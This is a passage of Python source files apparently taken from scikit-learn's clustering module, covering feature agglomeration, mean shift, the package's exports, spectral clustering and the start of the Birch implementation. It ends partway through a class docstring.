import numpy as np

from ..base import TransformerMixin
from ..utils import check_array
from ..utils.validation import check_is_fitted

###############################################################################
# Mixin class for feature agglomeration.

class AgglomerationTransform(TransformerMixin):
    """
    A class for feature agglomeration via the transform interface
    """

    pooling_func = np.mean

    def transform(self, X):
        """
        Transform a new matrix using the built clustering

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features] or [n_features]
            A M by N array of M observations in N dimensions or a length
            M array of M one-dimensional observations.

        Returns
        -------
        Y : array, shape = [n_samples, n_clusters] or [n_clusters]
            The pooled values for each feature cluster.
        """
        check_is_fitted(self, "labels_")

        pooling_func = self.pooling_func
        X = check_array(X)
        nX = []
        if len(self.labels_) != X.shape[1]:
            raise ValueError("X has a different number of features than "
                             "during fitting.")

        for l in np.unique(self.labels_):
            nX.append(pooling_func(X[:, self.labels_ == l], axis=1))
        return np.array(nX).T

    def inverse_transform(self, Xred):
        """
        Inverse the transformation.
        Return a vector of size nb_features with the values of Xred assigned
        to each group of features

        Parameters
        ----------
        Xred : array-like, shape=[n_samples, n_clusters] or [n_clusters,]
            The values to be assigned to each cluster of samples

        Returns
        -------
        X : array, shape=[n_samples, n_features] or [n_features]
            A vector of size n_samples with the values of Xred assigned to
            each of the cluster of samples.
        """
        check_is_fitted(self, "labels_")

        unil, inverse = np.unique(self.labels_, return_inverse=True)
        return Xred[..., inverse]






"""Mean shift clustering algorithm.

Mean shift clustering aims to discover *blobs* in a smooth density of
samples. It is a centroid based algorithm, which works by updating candidates
for centroids to be the mean of the points within a given region. These
candidates are then filtered in a post-processing stage to eliminate
near-duplicates to form the final set of centroids.

Seeding is performed using a binning technique for scalability.
"""

# Authors: Conrad Lee <conradlee@gmail.com>
#          Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Gael Varoquaux <gael.varoquaux@normalesup.org>
#          Martino Sorbaro <martino.sorbaro@ed.ac.uk>

import numpy as np
import warnings

from collections import defaultdict
from ..externals import six
from ..utils.validation import check_is_fitted
from ..utils import extmath, check_random_state, gen_batches, check_array
from ..base import BaseEstimator, ClusterMixin
from ..neighbors import NearestNeighbors
from ..metrics.pairwise import pairwise_distances_argmin
from ..externals.joblib import Parallel
from ..externals.joblib import delayed


def estimate_bandwidth(X, quantile=0.3, n_samples=None, random_state=0,
                       n_jobs=1):
    """Estimate the bandwidth to use with the mean-shift algorithm.

    That this function takes time at least quadratic in n_samples. For large
    datasets, it's wise to set that parameter to a small value.

    Parameters
    ----------
    X : array-like, shape=[n_samples, n_features]
        Input points.

    quantile : float, default 0.3
        should be between [0, 1]
        0.5 means that the median of all pairwise distances is used.

    n_samples : int, optional
        The number of samples to use. If not given, all samples are used.

    random_state : int or RandomState
        Pseudo-random number generator state used for random sampling.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run for neighbors search.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Returns
    -------
    bandwidth : float
        The bandwidth parameter.
    """
    random_state = check_random_state(random_state)
    if n_samples is not None:
        idx = random_state.permutation(X.shape[0])[:n_samples]
        X = X[idx]
    nbrs = NearestNeighbors(n_neighbors=int(X.shape[0] * quantile),
                            n_jobs=n_jobs)
    nbrs.fit(X)

    bandwidth = 0.
    for batch in gen_batches(len(X), 500):
        d, _ = nbrs.kneighbors(X[batch, :], return_distance=True)
        bandwidth += np.max(d, axis=1).sum()

    return bandwidth / X.shape[0]


# separate function for each seed's iterative loop
def _mean_shift_single_seed(my_mean, X, nbrs, max_iter):
    # For each seed, climb gradient until convergence or max_iter
    bandwidth = nbrs.get_params()['radius']
    stop_thresh = 1e-3 * bandwidth  # when mean has converged
    completed_iterations = 0
    while True:
        # Find mean of points within bandwidth
        i_nbrs = nbrs.radius_neighbors([my_mean], bandwidth,
                                       return_distance=False)[0]
        points_within = X[i_nbrs]
        if len(points_within) == 0:
            break  # Depending on seeding strategy this condition may occur
        my_old_mean = my_mean  # save the old mean
        my_mean = np.mean(points_within, axis=0)
        # If converged or at max_iter, adds the cluster
        if (extmath.norm(my_mean - my_old_mean) < stop_thresh or
                completed_iterations == max_iter):
            return tuple(my_mean), len(points_within)
        completed_iterations += 1


def mean_shift(X, bandwidth=None, seeds=None, bin_seeding=False,
               min_bin_freq=1, cluster_all=True, max_iter=300,
               n_jobs=1):
    """Perform mean shift clustering of data using a flat kernel.

    Read more in the :ref:`User Guide <mean_shift>`.

    Parameters
    ----------

    X : array-like, shape=[n_samples, n_features]
        Input data.

    bandwidth : float, optional
        Kernel bandwidth.

        If bandwidth is not given, it is determined using a heuristic based on
        the median of all pairwise distances. This will take quadratic time in
        the number of samples. The sklearn.cluster.estimate_bandwidth function
        can be used to do this more efficiently.

    seeds : array-like, shape=[n_seeds, n_features] or None
        Point used as initial kernel locations. If None and bin_seeding=False,
        each data point is used as a seed. If None and bin_seeding=True,
        see bin_seeding.

    bin_seeding : boolean, default=False
        If true, initial kernel locations are not locations of all
        points, but rather the location of the discretized version of
        points, where points are binned onto a grid whose coarseness
        corresponds to the bandwidth. Setting this option to True will speed
        up the algorithm because fewer seeds will be initialized.
        Ignored if seeds argument is not None.

    min_bin_freq : int, default=1
       To speed up the algorithm, accept only those bins with at least
       min_bin_freq points as seeds.

    cluster_all : boolean, default True
        If true, then all points are clustered, even those orphans that are
        not within any kernel. Orphans are assigned to the nearest kernel.
        If false, then orphans are given cluster label -1.

    max_iter : int, default 300
        Maximum number of iterations, per seed point before the clustering
        operation terminates (for that seed point), if has not converged yet.

    n_jobs : int
        The number of jobs to use for the computation. This works by computing
        each of the n_init runs in parallel.

        If -1 all CPUs are used. If 1 is given, no parallel computing code is
        used at all, which is useful for debugging. For n_jobs below -1,
        (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all CPUs but one
        are used.

        .. versionadded:: 0.17
           Parallel Execution using *n_jobs*.

    Returns
    -------

    cluster_centers : array, shape=[n_clusters, n_features]
        Coordinates of cluster centers.

    labels : array, shape=[n_samples]
        Cluster labels for each point.

    Notes
    -----
    See examples/cluster/plot_mean_shift.py for an example.

    """

    if bandwidth is None:
        bandwidth = estimate_bandwidth(X, n_jobs=n_jobs)
    elif bandwidth <= 0:
        raise ValueError("bandwidth needs to be greater than zero or None,\
            got %f" % bandwidth)
    if seeds is None:
        if bin_seeding:
            seeds = get_bin_seeds(X, bandwidth, min_bin_freq)
        else:
            seeds = X
    n_samples, n_features = X.shape
    center_intensity_dict = {}
    nbrs = NearestNeighbors(radius=bandwidth, n_jobs=n_jobs).fit(X)

    # execute iterations on all seeds in parallel
    all_res = Parallel(n_jobs=n_jobs)(
        delayed(_mean_shift_single_seed)
        (seed, X, nbrs, max_iter) for seed in seeds)
    # copy results in a dictionary
    for i in range(len(seeds)):
        if all_res[i] is not None:
            center_intensity_dict[all_res[i][0]] = all_res[i][1]

    if not center_intensity_dict:
        # nothing near seeds
        raise ValueError("No point was within bandwidth=%f of any seed."
                         " Try a different seeding strategy \
                         or increase the bandwidth."
                         % bandwidth)

    # POST PROCESSING: remove near duplicate points
    # If the distance between two kernels is less than the bandwidth,
    # then we have to remove one because it is a duplicate. Remove the
    # one with fewer points.
    sorted_by_intensity = sorted(center_intensity_dict.items(),
                                 key=lambda tup: tup[1], reverse=True)
    sorted_centers = np.array([tup[0] for tup in sorted_by_intensity])
    unique = np.ones(len(sorted_centers), dtype=np.bool)
    nbrs = NearestNeighbors(radius=bandwidth,
                            n_jobs=n_jobs).fit(sorted_centers)
    for i, center in enumerate(sorted_centers):
        if unique[i]:
            neighbor_idxs = nbrs.radius_neighbors([center],
                                                  return_distance=False)[0]
            unique[neighbor_idxs] = 0
            unique[i] = 1  # leave the current point as unique
    cluster_centers = sorted_centers[unique]

    # ASSIGN LABELS: a point belongs to the cluster that it is closest to
    nbrs = NearestNeighbors(n_neighbors=1, n_jobs=n_jobs).fit(cluster_centers)
    labels = np.zeros(n_samples, dtype=np.int)
    distances, idxs = nbrs.kneighbors(X)
    if cluster_all:
        labels = idxs.flatten()
    else:
        labels.fill(-1)
        bool_selector = distances.flatten() <= bandwidth
        labels[bool_selector] = idxs.flatten()[bool_selector]
    return cluster_centers, labels


def get_bin_seeds(X, bin_size, min_bin_freq=1):
    """Finds seeds for mean_shift.

    Finds seeds by first binning data onto a grid whose lines are
    spaced bin_size apart, and then choosing those bins with at least
    min_bin_freq points.

    Parameters
    ----------

    X : array-like, shape=[n_samples, n_features]
        Input points, the same points that will be used in mean_shift.

    bin_size : float
        Controls the coarseness of the binning. Smaller values lead
        to more seeding (which is computationally more expensive). If you're
        not sure how to set this, set it to the value of the bandwidth used
        in clustering.mean_shift.

    min_bin_freq : integer, optional
        Only bins with at least min_bin_freq will be selected as seeds.
        Raising this value decreases the number of seeds found, which
        makes mean_shift computationally cheaper.

    Returns
    -------
    bin_seeds : array-like, shape=[n_samples, n_features]
        Points used as initial kernel positions in clustering.mean_shift.
    """

    # Bin points
    bin_sizes = defaultdict(int)
    for point in X:
        binned_point = np.round(point / bin_size)
        bin_sizes[tuple(binned_point)] += 1

    # Select only those bins as seeds which have enough members
    bin_seeds = np.array([point for point, freq in six.iteritems(bin_sizes) if
                          freq >= min_bin_freq], dtype=np.float32)
    if len(bin_seeds) == len(X):
        warnings.warn("Binning data failed with provided bin_size=%f,"
                      " using data points as seeds." % bin_size)
        return X
    bin_seeds = bin_seeds * bin_size
    return bin_seeds


class MeanShift(BaseEstimator, ClusterMixin):
    """Mean shift clustering using a flat kernel.

    Mean shift clustering aims to discover "blobs" in a smooth density of
    samples. It is a centroid-based algorithm, which works by updating
    candidates for centroids to be the mean of the points within a given
    region. These candidates are then filtered in a post-processing stage to
    eliminate near-duplicates to form the final set of centroids.

    Seeding is performed using a binning technique for scalability.

    Read more in the :ref:`User Guide <mean_shift>`.

    Parameters
    ----------
    bandwidth : float, optional
        Bandwidth used in the RBF kernel.

        If not given, the bandwidth is estimated using
        sklearn.cluster.estimate_bandwidth; see the documentation for that
        function for hints on scalability (see also the Notes, below).

    seeds : array, shape=[n_samples, n_features], optional
        Seeds used to initialize kernels. If not set,
        the seeds are calculated by clustering.get_bin_seeds
        with bandwidth as the grid size and default values for
        other parameters.

    bin_seeding : boolean, optional
        If true, initial kernel locations are not locations of all
        points, but rather the location of the discretized version of
        points, where points are binned onto a grid whose coarseness
        corresponds to the bandwidth. Setting this option to True will speed
        up the algorithm because fewer seeds will be initialized.
        default value: False
        Ignored if seeds argument is not None.

    min_bin_freq : int, optional
       To speed up the algorithm, accept only those bins with at least
       min_bin_freq points as seeds. If not defined, set to 1.

    cluster_all : boolean, default True
        If true, then all points are clustered, even those orphans that are
        not within any kernel. Orphans are assigned to the nearest kernel.
        If false, then orphans are given cluster label -1.

    n_jobs : int
        The number of jobs to use for the computation. This works by computing
        each of the n_init runs in parallel.

        If -1 all CPUs are used. If 1 is given, no parallel computing code is
        used at all, which is useful for debugging. For n_jobs below -1,
        (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all CPUs but one
        are used.

    Attributes
    ----------
    cluster_centers_ : array, [n_clusters, n_features]
        Coordinates of cluster centers.

    labels_ :
        Labels of each point.

    Notes
    -----

    Scalability:

    Because this implementation uses a flat kernel and
    a Ball Tree to look up members of each kernel, the complexity will tend
    towards O(T*n*log(n)) in lower dimensions, with n the number of samples
    and T the number of points. In higher dimensions the complexity will
    tend towards O(T*n^2).

    Scalability can be boosted by using fewer seeds, for example by using
    a higher value of min_bin_freq in the get_bin_seeds function.

    Note that the estimate_bandwidth function is much less scalable than the
    mean shift algorithm and will be the bottleneck if it is used.

    References
    ----------

    Dorin Comaniciu and Peter Meer, "Mean Shift: A robust approach toward
    feature space analysis". IEEE Transactions on Pattern Analysis and
    Machine Intelligence. 2002. pp. 603-619.

    """
    def __init__(self, bandwidth=None, seeds=None, bin_seeding=False,
                 min_bin_freq=1, cluster_all=True, n_jobs=1):
        self.bandwidth = bandwidth
        self.seeds = seeds
        self.bin_seeding = bin_seeding
        self.cluster_all = cluster_all
        self.min_bin_freq = min_bin_freq
        self.n_jobs = n_jobs

    def fit(self, X, y=None):
        """Perform clustering.

        Parameters
        -----------
        X : array-like, shape=[n_samples, n_features]
            Samples to cluster.
        """
        X = check_array(X)
        self.cluster_centers_, self.labels_ = \
            mean_shift(X, bandwidth=self.bandwidth, seeds=self.seeds,
                       min_bin_freq=self.min_bin_freq,
                       bin_seeding=self.bin_seeding,
                       cluster_all=self.cluster_all, n_jobs=self.n_jobs)
        return self

    def predict(self, X):
        """Predict the closest cluster each sample in X belongs to.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape=[n_samples, n_features]
            New data to predict.

        Returns
        -------
        labels : array, shape [n_samples,]
            Index of the cluster each sample belongs to.
        """
        check_is_fitted(self, "cluster_centers_")

        return pairwise_distances_argmin(X, self.cluster_centers_)






"""
The :mod:`sklearn.cluster` module gathers popular unsupervised clustering
algorithms.
"""

from .spectral import spectral_clustering, SpectralClustering
from .mean_shift_ import (mean_shift, MeanShift,
                          estimate_bandwidth, get_bin_seeds)
from .affinity_propagation_ import affinity_propagation, AffinityPropagation
from .hierarchical import (ward_tree, AgglomerativeClustering, linkage_tree,
                           FeatureAgglomeration)
from .k_means_ import k_means, KMeans, MiniBatchKMeans
from .dbscan_ import dbscan, DBSCAN
from .bicluster import SpectralBiclustering, SpectralCoclustering
from .birch import Birch

__all__ = ['AffinityPropagation',
           'AgglomerativeClustering',
           'Birch',
           'DBSCAN',
           'KMeans',
           'FeatureAgglomeration',
           'MeanShift',
           'MiniBatchKMeans',
           'SpectralClustering',
           'affinity_propagation',
           'dbscan',
           'estimate_bandwidth',
           'get_bin_seeds',
           'k_means',
           'linkage_tree',
           'mean_shift',
           'spectral_clustering',
           'ward_tree',
           'SpectralBiclustering',
           'SpectralCoclustering']






# -*- coding: utf-8 -*-
"""Algorithms for spectral clustering"""

# Author: Gael Varoquaux gael.varoquaux@normalesup.org
#         Brian Cheung
#         Wei LI <kuantkid@gmail.com>
# License: BSD 3 clause
import warnings

import numpy as np

from ..base import BaseEstimator, ClusterMixin
from ..utils import check_random_state, as_float_array
from ..utils.validation import check_array
from ..utils.extmath import norm
from ..metrics.pairwise import pairwise_kernels
from ..neighbors import kneighbors_graph
from ..manifold import spectral_embedding
from .k_means_ import k_means


def discretize(vectors, copy=True, max_svd_restarts=30, n_iter_max=20,
               random_state=None):
    """Search for a partition matrix (clustering) which is closest to the
    eigenvector embedding.

    Parameters
    ----------
    vectors : array-like, shape: (n_samples, n_clusters)
        The embedding space of the samples.

    copy : boolean, optional, default: True
        Whether to copy vectors, or perform in-place normalization.

    max_svd_restarts : int, optional, default: 30
        Maximum number of attempts to restart SVD if convergence fails

    n_iter_max : int, optional, default: 30
        Maximum number of iterations to attempt in rotation and partition
        matrix search if machine precision convergence is not reached

    random_state: int seed, RandomState instance, or None (default)
        A pseudo random number generator used for the initialization of the
        of the rotation matrix

    Returns
    -------
    labels : array of integers, shape: n_samples
        The labels of the clusters.

    References
    ----------

    - Multiclass spectral clustering, 2003
      Stella X. Yu, Jianbo Shi
      http://www1.icsi.berkeley.edu/~stellayu/publication/doc/2003kwayICCV.pdf

    Notes
    -----

    The eigenvector embedding is used to iteratively search for the
    closest discrete partition.  First, the eigenvector embedding is
    normalized to the space of partition matrices. An optimal discrete
    partition matrix closest to this normalized embedding multiplied by
    an initial rotation is calculated.  Fixing this discrete partition
    matrix, an optimal rotation matrix is calculated.  These two
    calculations are performed until convergence.  The discrete partition
    matrix is returned as the clustering solution.  Used in spectral
    clustering, this method tends to be faster and more robust to random
    initialization than k-means.

    """

    from scipy.sparse import csc_matrix
    from scipy.linalg import LinAlgError

    random_state = check_random_state(random_state)

    vectors = as_float_array(vectors, copy=copy)

    eps = np.finfo(float).eps
    n_samples, n_components = vectors.shape

    # Normalize the eigenvectors to an equal length of a vector of ones.
    # Reorient the eigenvectors to point in the negative direction with respect
    # to the first element.  This may have to do with constraining the
    # eigenvectors to lie in a specific quadrant to make the discretization
    # search easier.
    norm_ones = np.sqrt(n_samples)
    for i in range(vectors.shape[1]):
        vectors[:, i] = (vectors[:, i] / norm(vectors[:, i])) \
            * norm_ones
        if vectors[0, i] != 0:
            vectors[:, i] = -1 * vectors[:, i] * np.sign(vectors[0, i])

    # Normalize the rows of the eigenvectors.  Samples should lie on the unit
    # hypersphere centered at the origin.  This transforms the samples in the
    # embedding space to the space of partition matrices.
    vectors = vectors / np.sqrt((vectors ** 2).sum(axis=1))[:, np.newaxis]

    svd_restarts = 0
    has_converged = False

    # If there is an exception we try to randomize and rerun SVD again
    # do this max_svd_restarts times.
    while (svd_restarts < max_svd_restarts) and not has_converged:

        # Initialize first column of rotation matrix with a row of the
        # eigenvectors
        rotation = np.zeros((n_components, n_components))
        rotation[:, 0] = vectors[random_state.randint(n_samples), :].T

        # To initialize the rest of the rotation matrix, find the rows
        # of the eigenvectors that are as orthogonal to each other as
        # possible
        c = np.zeros(n_samples)
        for j in range(1, n_components):
            # Accumulate c to ensure row is as orthogonal as possible to
            # previous picks as well as current one
            c += np.abs(np.dot(vectors, rotation[:, j - 1]))
            rotation[:, j] = vectors[c.argmin(), :].T

        last_objective_value = 0.0
        n_iter = 0

        while not has_converged:
            n_iter += 1

            t_discrete = np.dot(vectors, rotation)

            labels = t_discrete.argmax(axis=1)
            vectors_discrete = csc_matrix(
                (np.ones(len(labels)), (np.arange(0, n_samples), labels)),
                shape=(n_samples, n_components))

            t_svd = vectors_discrete.T * vectors

            try:
                U, S, Vh = np.linalg.svd(t_svd)
                svd_restarts += 1
            except LinAlgError:
                print("SVD did not converge, randomizing and trying again")
                break

            ncut_value = 2.0 * (n_samples - S.sum())
            if ((abs(ncut_value - last_objective_value) < eps) or
                    (n_iter > n_iter_max)):
                has_converged = True
            else:
                # otherwise calculate rotation and continue
                last_objective_value = ncut_value
                rotation = np.dot(Vh.T, U.T)

    if not has_converged:
        raise LinAlgError('SVD did not converge')
    return labels


def spectral_clustering(affinity, n_clusters=8, n_components=None,
                        eigen_solver=None, random_state=None, n_init=10,
                        eigen_tol=0.0, assign_labels='kmeans'):
    """Apply clustering to a projection to the normalized laplacian.

    In practice Spectral Clustering is very useful when the structure of
    the individual clusters is highly non-convex or more generally when
    a measure of the center and spread of the cluster is not a suitable
    description of the complete cluster. For instance when clusters are
    nested circles on the 2D plan.

    If affinity is the adjacency matrix of a graph, this method can be
    used to find normalized graph cuts.

    Read more in the :ref:`User Guide <spectral_clustering>`.

    Parameters
    -----------
    affinity : array-like or sparse matrix, shape: (n_samples, n_samples)
        The affinity matrix describing the relationship of the samples to
        embed. **Must be symmetric**.

        Possible examples:
          - adjacency matrix of a graph,
          - heat kernel of the pairwise distance matrix of the samples,
          - symmetric k-nearest neighbours connectivity matrix of the samples.

    n_clusters : integer, optional
        Number of clusters to extract.

    n_components : integer, optional, default is n_clusters
        Number of eigen vectors to use for the spectral embedding

    eigen_solver : {None, 'arpack', 'lobpcg', or 'amg'}
        The eigenvalue decomposition strategy to use. AMG requires pyamg
        to be installed. It can be faster on very large, sparse problems,
        but may also lead to instabilities

    random_state : int seed, RandomState instance, or None (default)
        A pseudo random number generator used for the initialization
        of the lobpcg eigen vectors decomposition when eigen_solver == 'amg'
        and by the K-Means initialization.

    n_init : int, optional, default: 10
        Number of time the k-means algorithm will be run with different
        centroid seeds. The final results will be the best output of
        n_init consecutive runs in terms of inertia.

    eigen_tol : float, optional, default: 0.0
        Stopping criterion for eigendecomposition of the Laplacian matrix
        when using arpack eigen_solver.

    assign_labels : {'kmeans', 'discretize'}, default: 'kmeans'
        The strategy to use to assign labels in the embedding
        space.  There are two ways to assign labels after the laplacian
        embedding.  k-means can be applied and is a popular choice. But it can
        also be sensitive to initialization. Discretization is another
        approach which is less sensitive to random initialization. See
        the 'Multiclass spectral clustering' paper referenced below for
        more details on the discretization approach.

    Returns
    -------
    labels : array of integers, shape: n_samples
        The labels of the clusters.

    References
    ----------

    - Normalized cuts and image segmentation, 2000
      Jianbo Shi, Jitendra Malik
      http://citeseer.ist.psu.edu/viewdoc/summary?doi=10.1.1.160.2324

    - A Tutorial on Spectral Clustering, 2007
      Ulrike von Luxburg
      http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.165.9323

    - Multiclass spectral clustering, 2003
      Stella X. Yu, Jianbo Shi
      http://www1.icsi.berkeley.edu/~stellayu/publication/doc/2003kwayICCV.pdf

    Notes
    ------
    The graph should contain only one connect component, elsewhere
    the results make little sense.

    This algorithm solves the normalized cut for k=2: it is a
    normalized spectral clustering.
    """
    if assign_labels not in ('kmeans', 'discretize'):
        raise ValueError("The 'assign_labels' parameter should be "
                         "'kmeans' or 'discretize', but '%s' was given"
                         % assign_labels)

    random_state = check_random_state(random_state)
    n_components = n_clusters if n_components is None else n_components
    maps = spectral_embedding(affinity, n_components=n_components,
                              eigen_solver=eigen_solver,
                              random_state=random_state,
                              eigen_tol=eigen_tol, drop_first=False)

    if assign_labels == 'kmeans':
        _, labels, _ = k_means(maps, n_clusters, random_state=random_state,
                               n_init=n_init)
    else:
        labels = discretize(maps, random_state=random_state)

    return labels


class SpectralClustering(BaseEstimator, ClusterMixin):
    """Apply clustering to a projection to the normalized laplacian.

    In practice Spectral Clustering is very useful when the structure of
    the individual clusters is highly non-convex or more generally when
    a measure of the center and spread of the cluster is not a suitable
    description of the complete cluster. For instance when clusters are
    nested circles on the 2D plan.

    If affinity is the adjacency matrix of a graph, this method can be
    used to find normalized graph cuts.

    When calling ``fit``, an affinity matrix is constructed using either
    kernel function such the Gaussian (aka RBF) kernel of the euclidean
    distanced ``d(X, X)``::

            np.exp(-gamma * d(X,X) ** 2)

    or a k-nearest neighbors connectivity matrix.

    Alternatively, using ``precomputed``, a user-provided affinity
    matrix can be used.

    Read more in the :ref:`User Guide <spectral_clustering>`.

    Parameters
    -----------
    n_clusters : integer, optional
        The dimension of the projection subspace.

    affinity : string, array-like or callable, default 'rbf'
        If a string, this may be one of 'nearest_neighbors', 'precomputed',
        'rbf' or one of the kernels supported by
        `sklearn.metrics.pairwise_kernels`.

        Only kernels that produce similarity scores (non-negative values that
        increase with similarity) should be used. This property is not checked
        by the clustering algorithm.

    gamma : float, default=1.0
        Scaling factor of RBF, polynomial, exponential chi^2 and
        sigmoid affinity kernel. Ignored for
        ``affinity='nearest_neighbors'``.

    degree : float, default=3
        Degree of the polynomial kernel. Ignored by other kernels.

    coef0 : float, default=1
        Zero coefficient for polynomial and sigmoid kernels.
        Ignored by other kernels.

    n_neighbors : integer
        Number of neighbors to use when constructing the affinity matrix using
        the nearest neighbors method. Ignored for ``affinity='rbf'``.

    eigen_solver : {None, 'arpack', 'lobpcg', or 'amg'}
        The eigenvalue decomposition strategy to use. AMG requires pyamg
        to be installed. It can be faster on very large, sparse problems,
        but may also lead to instabilities

    random_state : int seed, RandomState instance, or None (default)
        A pseudo random number generator used for the initialization
        of the lobpcg eigen vectors decomposition when eigen_solver == 'amg'
        and by the K-Means initialization.

    n_init : int, optional, default: 10
        Number of time the k-means algorithm will be run with different
        centroid seeds. The final results will be the best output of
        n_init consecutive runs in terms of inertia.

    eigen_tol : float, optional, default: 0.0
        Stopping criterion for eigendecomposition of the Laplacian matrix
        when using arpack eigen_solver.

    assign_labels : {'kmeans', 'discretize'}, default: 'kmeans'
        The strategy to use to assign labels in the embedding
        space. There are two ways to assign labels after the laplacian
        embedding. k-means can be applied and is a popular choice. But it can
        also be sensitive to initialization. Discretization is another approach
        which is less sensitive to random initialization.

    kernel_params : dictionary of string to any, optional
        Parameters (keyword arguments) and values for kernel passed as
        callable object. Ignored by other kernels.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Attributes
    ----------
    affinity_matrix_ : array-like, shape (n_samples, n_samples)
        Affinity matrix used for clustering. Available only if after calling
        ``fit``.

    labels_ :
        Labels of each point

    Notes
    -----
    If you have an affinity matrix, such as a distance matrix,
    for which 0 means identical elements, and high values means
    very dissimilar elements, it can be transformed in a
    similarity matrix that is well suited for the algorithm by
    applying the Gaussian (RBF, heat) kernel::

        np.exp(- dist_matrix ** 2 / (2. * delta ** 2))

    Where ``delta`` is a free parameter representing the width of the Gaussian
    kernel.

    Another alternative is to take a symmetric version of the k
    nearest neighbors connectivity matrix of the points.

    If the pyamg package is installed, it is used: this greatly
    speeds up computation.

    References
    ----------

    - Normalized cuts and image segmentation, 2000
      Jianbo Shi, Jitendra Malik
      http://citeseer.ist.psu.edu/viewdoc/summary?doi=10.1.1.160.2324

    - A Tutorial on Spectral Clustering, 2007
      Ulrike von Luxburg
      http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.165.9323

    - Multiclass spectral clustering, 2003
      Stella X. Yu, Jianbo Shi
      http://www1.icsi.berkeley.edu/~stellayu/publication/doc/2003kwayICCV.pdf
    """

    def __init__(self, n_clusters=8, eigen_solver=None, random_state=None,
                 n_init=10, gamma=1., affinity='rbf', n_neighbors=10,
                 eigen_tol=0.0, assign_labels='kmeans', degree=3, coef0=1,
                 kernel_params=None, n_jobs=1):
        self.n_clusters = n_clusters
        self.eigen_solver = eigen_solver
        self.random_state = random_state
        self.n_init = n_init
        self.gamma = gamma
        self.affinity = affinity
        self.n_neighbors = n_neighbors
        self.eigen_tol = eigen_tol
        self.assign_labels = assign_labels
        self.degree = degree
        self.coef0 = coef0
        self.kernel_params = kernel_params
        self.n_jobs = n_jobs

    def fit(self, X, y=None):
        """Creates an affinity matrix for X using the selected affinity,
        then applies spectral clustering to this affinity matrix.

        Parameters
        ----------
        X : array-like or sparse matrix, shape (n_samples, n_features)
            OR, if affinity==`precomputed`, a precomputed affinity
            matrix of shape (n_samples, n_samples)
        """
        X = check_array(X, accept_sparse=['csr', 'csc', 'coo'],
                        dtype=np.float64)
        if X.shape[0] == X.shape[1] and self.affinity != "precomputed":
            warnings.warn("The spectral clustering API has changed. ``fit``"
                          "now constructs an affinity matrix from data. To use"
                          " a custom affinity matrix, "
                          "set ``affinity=precomputed``.")

        if self.affinity == 'nearest_neighbors':
            connectivity = kneighbors_graph(X, n_neighbors=self.n_neighbors, include_self=True,
                                            n_jobs=self.n_jobs)
            self.affinity_matrix_ = 0.5 * (connectivity + connectivity.T)
        elif self.affinity == 'precomputed':
            self.affinity_matrix_ = X
        else:
            params = self.kernel_params
            if params is None:
                params = {}
            if not callable(self.affinity):
                params['gamma'] = self.gamma
                params['degree'] = self.degree
                params['coef0'] = self.coef0
            self.affinity_matrix_ = pairwise_kernels(X, metric=self.affinity,
                                                     filter_params=True,
                                                     **params)

        random_state = check_random_state(self.random_state)
        self.labels_ = spectral_clustering(self.affinity_matrix_,
                                           n_clusters=self.n_clusters,
                                           eigen_solver=self.eigen_solver,
                                           random_state=random_state,
                                           n_init=self.n_init,
                                           eigen_tol=self.eigen_tol,
                                           assign_labels=self.assign_labels)
        return self

    @property
    def _pairwise(self):
        return self.affinity == "precomputed"






# Authors: Manoj Kumar <manojkumarsivaraj334@gmail.com>
#          Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
#          Joel Nothman <joel.nothman@gmail.com>
# License: BSD 3 clause
from __future__ import division

import warnings
import numpy as np
from scipy import sparse
from math import sqrt

from ..metrics.pairwise import euclidean_distances
from ..base import TransformerMixin, ClusterMixin, BaseEstimator
from ..externals.six.moves import xrange
from ..utils import check_array
from ..utils.extmath import row_norms, safe_sparse_dot
from ..utils.validation import check_is_fitted
from ..exceptions import NotFittedError
from .hierarchical import AgglomerativeClustering


def _iterate_sparse_X(X):
    """This little hack returns a densified row when iterating over a sparse
    matrix, instead of constructing a sparse matrix for every row that is
    expensive.
    """
    n_samples = X.shape[0]
    X_indices = X.indices
    X_data = X.data
    X_indptr = X.indptr

    for i in xrange(n_samples):
        row = np.zeros(X.shape[1])
        startptr, endptr = X_indptr[i], X_indptr[i + 1]
        nonzero_indices = X_indices[startptr:endptr]
        row[nonzero_indices] = X_data[startptr:endptr]
        yield row


def _split_node(node, threshold, branching_factor):
    """The node has to be split if there is no place for a new subcluster
    in the node.
    1. Two empty nodes and two empty subclusters are initialized.
    2. The pair of distant subclusters are found.
    3. The properties of the empty subclusters and nodes are updated
       according to the nearest distance between the subclusters to the
       pair of distant subclusters.
    4. The two nodes are set as children to the two subclusters.
    """
    new_subcluster1 = _CFSubcluster()
    new_subcluster2 = _CFSubcluster()
    new_node1 = _CFNode(
        threshold, branching_factor, is_leaf=node.is_leaf,
        n_features=node.n_features)
    new_node2 = _CFNode(
        threshold, branching_factor, is_leaf=node.is_leaf,
        n_features=node.n_features)
    new_subcluster1.child_ = new_node1
    new_subcluster2.child_ = new_node2

    if node.is_leaf:
        if node.prev_leaf_ is not None:
            node.prev_leaf_.next_leaf_ = new_node1
        new_node1.prev_leaf_ = node.prev_leaf_
        new_node1.next_leaf_ = new_node2
        new_node2.prev_leaf_ = new_node1
        new_node2.next_leaf_ = node.next_leaf_
        if node.next_leaf_ is not None:
            node.next_leaf_.prev_leaf_ = new_node2

    dist = euclidean_distances(
        node.centroids_, Y_norm_squared=node.squared_norm_, squared=True)
    n_clusters = dist.shape[0]

    farthest_idx = np.unravel_index(
        dist.argmax(), (n_clusters, n_clusters))
    node1_dist, node2_dist = dist[[farthest_idx]]

    node1_closer = node1_dist < node2_dist
    for idx, subcluster in enumerate(node.subclusters_):
        if node1_closer[idx]:
            new_node1.append_subcluster(subcluster)
            new_subcluster1.update(subcluster)
        else:
            new_node2.append_subcluster(subcluster)
            new_subcluster2.update(subcluster)
    return new_subcluster1, new_subcluster2


class _CFNode(object):
    """Each node in a CFTree is called a CFNode.

    The CFNode can have a maximum of branching_factor
    number of CFSubclusters.

    Parameters
    ----------
    threshold : float
